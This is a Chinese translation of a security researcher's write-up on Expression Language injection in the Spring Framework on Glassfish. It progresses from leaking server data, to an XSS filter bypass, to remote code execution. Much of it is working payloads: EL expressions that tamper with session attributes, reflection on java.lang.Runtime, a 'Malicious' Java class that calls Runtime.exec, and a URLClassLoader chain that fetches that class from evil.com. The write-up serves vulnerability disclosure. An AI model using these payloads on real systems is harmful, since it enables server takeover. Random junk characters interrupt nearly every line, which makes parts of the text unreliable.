Remote Code with2 {# K% J" h7 p# v+ R- x8 _& t
Expression Language Injection# b% H$ ~7 v" T! t c
Spring Framework脆弱性—DanAmodio
P2 d4 D/ T8 y8 ^% j全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中6 S+ }: C9 ?2 ~/ {( P
可能会存在风险。
1 n1 o' Z! ~7 X1 y+ m在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的4 F- f. B/ p: t/ ^: ]; G
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
* K. G" ~# Q( d6 W- T以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,4 V. S+ \0 R% W) @4 B% |
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前% [( k& S+ @) G4 B+ K
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
* S3 i+ {* ~, p1 T4 n4 F由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但( j2 r4 s3 @( A- J4 l
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版: D2 e: c0 a) p8 s7 Z/ S
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。6 } V0 p7 H/ w
这些版本不支持禁用double EL resolution.% S" \' O1 ^: A8 I6 j% S
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含; C* a, n: |6 M
EL2.2容器上可能进行远程代码执行。) W( n6 `0 U' j! b
这是一个原始信息泄露的攻击例子:3 t; z' K9 g, K6 i- N! m
请求:( J0 A' d9 O; {& i' P7 W
ttp://vulnerable.com/foo?message=${applicationScope}
, e- G, {1 e) V: I0 B$ J到达以下内容页面:- d% q: X& k# \
结果将输出一些包含内部服务器信息calsspath 和本地工作目录
, i2 n5 x1 [! d$ i' j你也可以做一些其他事情,如这样:
. j# D# w* S u${9999+1}4 K9 p' `: r+ r9 Y/ m. M5 V4 c
还可以访问session 对象和beans
0 d8 e+ `6 J; ?' m3 M' v! |+ D${employee.lastName}
& v$ o: }- R6 ?- Z$ `2 x J( U在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是$ Q4 u' O9 A$ y4 o+ G1 }
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
$ ?9 Z1 \ P& g) L' q& E4 A1 ?西,比如XSS.
: U1 ]8 }7 A. p$ O哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
7 G7 x" s2 b1 R2 u# B突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
( I& k+ ^5 P9 @+ g8 u呢?”
) _3 \' c4 N4 w因此,我尝试巳缦拢�$ l$ P6 U6 |% S) k, k; K: M9 i
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
3 ^* ], a5 |+ U( K. J9 F( N3 hP
' t$ Z" Y* u+ p我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
+ S$ L) g" x( c8 h5 g- }8 \' `" o回的文本被插入进了spring:message 标签。2 t- h. {2 u0 L9 J
这里是一个最终绕过过滤的实例:
, h( Y) X- _4 [6 Shttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1) /scriptQ
, x5 E" M S4 L! r$ w. I* y它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
! [% g: o2 \ ]" j% N- K& b& p* i什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
: s( Z# q' n0 B& l) v经过一番研究,我学习到EL2.2 增加了方法调用。
3 K3 W* a+ k- ~: P% a+ X$ c6 o1 _我写了一个快速测试应用程序代码并且检测一些功能( \; |3 G9 C4 `/ T# B
${pageContext.request.getSession().setAttribute(“account”,”123456″)}
. _* c7 J( G q. @ T+ I. J${pageContext.request.getSession().setAttribute(“admin”,true)}
# O* C' F2 V5 W7 w0 R好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的& o7 }# c5 H9 y' r/ m6 ]$ w: D
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
0 u! L3 c" |- ?7 @${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.13 j- a2 \$ X' Y# B1 C7 p
“, 1234)}
& Y( j+ \; S/ a r4 L0 S${“”.getClass().forName(“java.lang.Runtime”)}
2 j! S+ f l, B1 @ [哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不, F3 m! s9 {) {
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
- z& y) ~3 R4 J8 m5 F数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有 j# g6 M' E) s' W
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于( w+ {# {9 e# Y+ o+ ^5 u9 A
方法签名invoke(Object obj, Object„ args)3 V' H3 h& ~2 s3 B
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问: [& V4 n) C* G- }
题,以让它可以工作起来。* a9 ]* }+ J' n. |* B* V
漏洞利用:4 q( n# |! _- {2 o6 K8 D, v/ g) d
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我- f, q l/ l+ D% A: S1 s- m' L
希望你们中的一些JAVA奇才告诉我我是如此的可笑。+ @ j' t% Q7 }
这里有一些我试过的失败的用例,为了试图让它工作的用例:
' |+ X, c7 y7 M/ l4 G2 Y 写文件到文件系统6 k9 x* a+ j* k7 O; S/ G* a
试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
+ v" J; h3 w& w* Y" ^" c我认为这些可以很好的工作,但是我不能找到合适的类来载入。" \# K3 g3 b8 ]& C: v4 Q# T L& [. d
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
5 T# R2 P4 ^. E1 M5 Ejavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
* D% _! t: B1 q6 D/ G7 qorg.springframework.expression.spel.standard.SpelExpressionParser not found
2 _# D! N& ]; L0 [3 dby) x0 h8 G% a4 J+ `: c: \
org.glassfish.web.javax.servlet.jsp [194].
- L+ o5 Q1 j) c9 N0 n, O* } 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public: y4 ~% ^. l9 @" A7 O9 T
利用反射来创建一个新的Runtime(and watch the world burn). M4 k/ z) _* ]
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName. d+ f- S: v: x: [5 B1 a
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
1 a. _- A8 o' X${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
2 @) j/ j! i; [ 使用java.lang.ProcessBuilder! J, \/ t! u, d+ m- D6 B' z
用表达式语言来评估表达式语言# ^* D. X# q9 e1 w# ^' B8 |/ b3 L
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
) x8 a% I4 U- c1 l${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request$ |# H. M, z X+ W6 Z5 h
“,”".getClass(),null)}; J$ Z9 c6 r. X) F& n- [3 B
创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
; ^% Z9 o7 j4 A* m" L& W; q# f我在使用一个空数组通过Method.invoke()时失败了很多次
, n0 T& p7 a4 {( e# X“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo9 A N6 O1 h6 w* y0 T
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
: J2 Y! Y' B$ W% ^% w3 YrrayList”).newInstance().toArray())" n$ d) W+ a. V, \
java.lang.IllegalArgumentException: wrong number of arguments
& l' R6 v) I \最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可9 C# p$ {/ Y- z) @# c
以创建一个恶意class文件并且指向类装载器." s( l# y% Q; U6 U* R [. y! k
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
( v( a! r" t+ p- _; e3 Spublic class Malicious {8 x# M2 K* H% R0 Q9 e @- F$ r- Q
public Malicious() {
8 H7 }& O1 D: g8 A2 otry {8 N" |, v& ]( ~/ M2 l9 ]1 S5 [/ A
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
% P! Y' P( \; h" {* ?java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
/ e5 A/ c* x0 r) k+ m} catch (Exception e) {7 l1 F. {5 M& i' P% W& c4 l
}% _6 s( }% l8 q5 g. m: p8 W
}/ z- l: q2 S9 G1 D
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
* l! O: ?, M2 c; |7 N2 N- P: q话中,因此它可以被使用.
6 T" l2 e) }" j% X% ^5 X! o( q${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName5 n! J) l. D0 d- |& c
(“java.util.ArrayList”).newInstance())}# Y- I- V3 O9 z2 u
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建" {$ c4 K- }( c3 u& R
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
( \& Z, Q9 G; d" lgetResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
% r' J/ a( n# B. e6 p我们可以调用的create(string)方法,然后转换对一个URL对象。' v A8 h8 f+ B
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
8 w8 @3 J2 ?" y. E# @8 qere/malicious/classfile/is/located/”).toURL())}
( N) _3 H0 l8 _* ~; W然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
+ r& f, ~5 k& b2 F恶意类文件被装载并创建,触发远程代码.
. J7 I0 S' |! D8 G+ K- ]" G/ D${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte. H( B# O0 r0 `
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().1 A; h6 \5 {" N+ T2 K
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
& f1 _ g7 ]5 H' l3 B0 F# X' }" _()} |